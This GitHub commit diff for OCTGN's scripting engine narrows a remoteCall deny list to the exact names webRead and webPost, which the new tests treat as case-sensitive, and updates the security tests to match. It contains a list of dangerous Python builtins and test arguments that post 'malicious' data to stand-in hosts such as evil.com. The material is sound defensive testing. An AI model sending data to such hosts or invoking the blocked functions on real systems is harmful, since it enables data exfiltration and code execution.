Skip to content

Commit 564c53b

Browse files
Copilotkellyelton
andcommitted
Fix overly broad web function blocking per feedback
Co-authored-by: kellyelton <1356163+kellyelton@users.noreply.github.com>
1 parent 7c41d60 commit 564c53b

File tree

3 files changed

+68
-52
lines changed

3 files changed

+68
-52
lines changed

octgnFX/Octgn.JodsEngine/Scripting/Engine.cs

Lines changed: 3 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -507,19 +507,11 @@ private static bool IsDangerousFunction(string function)
507507
{
508508
"exec", "eval", "compile", "__import__", "open", "file", "input", "raw_input",
509509
"reload", "execfile", "apply", "getattr", "setattr", "delattr", "hasattr",
510-
"globals", "locals", "vars", "dir", "exit", "quit"
510+
"globals", "locals", "vars", "dir", "exit", "quit",
511+
"webRead", "webPost"
511512
};
512513

513-
return dangerousFunctions.Contains(function) || IsWebFunction(function);
514-
}
515-
516-
/// <summary>
517-
/// Checks if a function name is a web-related function that should not be allowed via remoteCall
518-
/// </summary>
519-
private static bool IsWebFunction(string function)
520-
{
521-
// Block all web-related functions to prevent remote users from making arbitrary web requests
522-
return function.StartsWith("web", StringComparison.OrdinalIgnoreCase);
514+
return dangerousFunctions.Contains(function);
523515
}
524516

525517
/// <summary>

octgnFX/Octgn.Test/OctgnApp/Scripting/RemoteCallValidUseCasesTests.cs

Lines changed: 25 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1372,14 +1372,11 @@ public void ExecuteFunctionSecureNoFormat_RealWorldComplexDictionary_ShouldSucce
13721372
[Test]
13731373
public void ExecuteFunctionSecureNoFormat_WebFunctions_AreBlockedFromRemoteCall()
13741374
{
1375-
// This test verifies that web functions are properly blocked when called via remoteCall mechanism
1375+
// This test verifies that the actual web functions are properly blocked when called via remoteCall mechanism
13761376
var webFunctions = new[]
13771377
{
13781378
"webPost",
1379-
"webGet",
1380-
"webRead",
1381-
"website",
1382-
"webApi"
1379+
"webRead"
13831380
};
13841381

13851382
foreach (var webFunction in webFunctions)
@@ -1414,6 +1411,29 @@ public void ExecuteFunctionSecureNoFormat_NonWebFunctions_AreAllowedFromRemoteCa
14141411
}
14151412
}
14161413

1414+
[Test]
1415+
public void ExecuteFunctionSecureNoFormat_WebPrefixedNonWebFunctions_AreAllowedFromRemoteCall()
1416+
{
1417+
// This test verifies that functions starting with "web" but not actual web functions are allowed
1418+
// This ensures we're not being overly broad in our blocking
1419+
var webPrefixedFunctions = new[]
1420+
{
1421+
"website",
1422+
"webGet",
1423+
"webApi",
1424+
"webSocket",
1425+
"webCustomFunction"
1426+
};
1427+
1428+
foreach (var function in webPrefixedFunctions)
1429+
{
1430+
// Act & Assert - non-web functions starting with "web" should NOT throw
1431+
Assert.DoesNotThrow(() =>
1432+
_engine.ExecuteFunctionSecureNoFormat(function, "\"test\""),
1433+
$"Function '{function}' starting with 'web' but not actual web function should not be blocked");
1434+
}
1435+
}
1436+
14171437
#endregion
14181438
}
14191439
}

octgnFX/Octgn.Test/OctgnApp/Scripting/SecurityTests.cs

Lines changed: 40 additions & 36 deletions
Original file line numberDiff line numberDiff line change
@@ -2088,15 +2088,15 @@ public void ExecuteFunctionSecureNoFormat_WebFunctions_BlocksWebPost()
20882088
[Test]
20892089
public void ExecuteFunctionSecureNoFormat_WebFunctions_BlocksWebGet()
20902090
{
2091+
// Note: webGet is not an actual OCTGN web function, but we test it to show it's NOT blocked
20912092
// Arrange
20922093
var function = "webGet";
20932094
var args = "\"http://evil.com\"";
20942095

2095-
// Act & Assert
2096-
var ex = Assert.Throws<ScriptSecurityException>(() =>
2097-
_engine.ExecuteFunctionSecureNoFormat(function, args));
2098-
2099-
Assert.That(ex.SecurityReason, Contains.Substring("Dangerous function name"));
2096+
// Act & Assert - This should NOT be blocked since webGet is not a real web function
2097+
Assert.DoesNotThrow(() =>
2098+
_engine.ExecuteFunctionSecureNoFormat(function, args),
2099+
"webGet is not a real OCTGN web function so should not be blocked");
21002100
}
21012101

21022102
[Test]
@@ -2114,55 +2114,59 @@ public void ExecuteFunctionSecureNoFormat_WebFunctions_BlocksWebRead()
21142114
}
21152115

21162116
[Test]
2117-
public void ExecuteFunctionSecureNoFormat_WebFunctions_BlocksAnyWebFunction()
2117+
public void ExecuteFunctionSecureNoFormat_WebFunctions_BlocksActualWebFunctions()
21182118
{
2119-
// Test that any function starting with "web" is blocked
2120-
var webFunctions = new[]
2119+
// Test that only the actual OCTGN web functions are blocked
2120+
var actualWebFunctions = new[]
21212121
{
21222122
"webPost",
2123-
"webGet",
2124-
"webRead",
2125-
"webRequest",
2126-
"webDownload",
2127-
"webUpload",
2128-
"webCall",
2129-
"website",
2130-
"webApi",
2131-
"webSocket",
2132-
"webService",
2133-
"webPage",
2134-
"webQuery",
2135-
"webSubmit",
2136-
"webFetch",
2137-
"WebPost", // Test case sensitivity
2138-
"WEBGET", // Test case sensitivity
2139-
"WebRead" // Test case sensitivity
2140-
};
2141-
2142-
foreach (var webFunction in webFunctions)
2123+
"webRead"
2124+
};
2125+
2126+
foreach (var webFunction in actualWebFunctions)
21432127
{
2144-
// Act & Assert
2128+
// Act & Assert - These should be blocked
21452129
var ex = Assert.Throws<ScriptSecurityException>(() =>
21462130
_engine.ExecuteFunctionSecureNoFormat(webFunction, "\"http://example.com\""),
2147-
$"Web function '{webFunction}' should be blocked");
2131+
$"Actual web function '{webFunction}' should be blocked");
21482132

21492133
Assert.That(ex.SecurityReason, Contains.Substring("Dangerous function name"),
21502134
$"Security exception for '{webFunction}' should mention dangerous function");
21512135
}
21522136
}
21532137

2138+
[Test]
2139+
public void ExecuteFunctionSecureNoFormat_WebFunctions_AllowsNonWebFunctions()
2140+
{
2141+
// Test that functions starting with "web" but not actual web functions are allowed
2142+
var nonWebFunctions = new[]
2143+
{
2144+
"webGet", // Not a real OCTGN function
2145+
"website", // Not a real OCTGN function
2146+
"webApi", // Not a real OCTGN function
2147+
"webSocket", // Not a real OCTGN function
2148+
"webService", // Not a real OCTGN function
2149+
"WebPost", // Case variation - not exact match
2150+
"WEBREAD" // Case variation - not exact match
2151+
};
2152+
2153+
foreach (var nonWebFunction in nonWebFunctions)
2154+
{
2155+
// Act & Assert - These should NOT be blocked
2156+
Assert.DoesNotThrow(() =>
2157+
_engine.ExecuteFunctionSecureNoFormat(nonWebFunction, "\"http://example.com\""),
2158+
$"Non-web function '{nonWebFunction}' should not be blocked");
2159+
}
2160+
}
2161+
21542162
[Test]
21552163
public void ExecuteFunctionSecureNoFormat_WebFunctions_BlocksWithVariousArguments()
21562164
{
2157-
// Test various argument combinations that should all be blocked
2165+
// Test various argument combinations for actual web functions that should all be blocked
21582166
var testCases = new[]
21592167
{
21602168
new { Function = "webPost", Args = "\"http://evil.com\", \"data=malicious\"" },
2161-
new { Function = "webGet", Args = "\"http://evil.com/steal_data\"" },
2162-
new { Function = "webRead", Args = "\"http://evil.com\", 5000" },
2163-
new { Function = "website", Args = "Player(1), \"http://phishing.com\"" },
2164-
new { Function = "webApi", Args = "[\"http://evil1.com\", \"http://evil2.com\"]" },
2165-
new { Function = "webCall", Args = "{\"url\": \"http://evil.com\", \"method\": \"POST\"}" }
2169+
new { Function = "webRead", Args = "\"http://evil.com\", 5000" }
21662170
};
21672171

21682172
foreach (var testCase in testCases)

0 commit comments

Comments
 (0)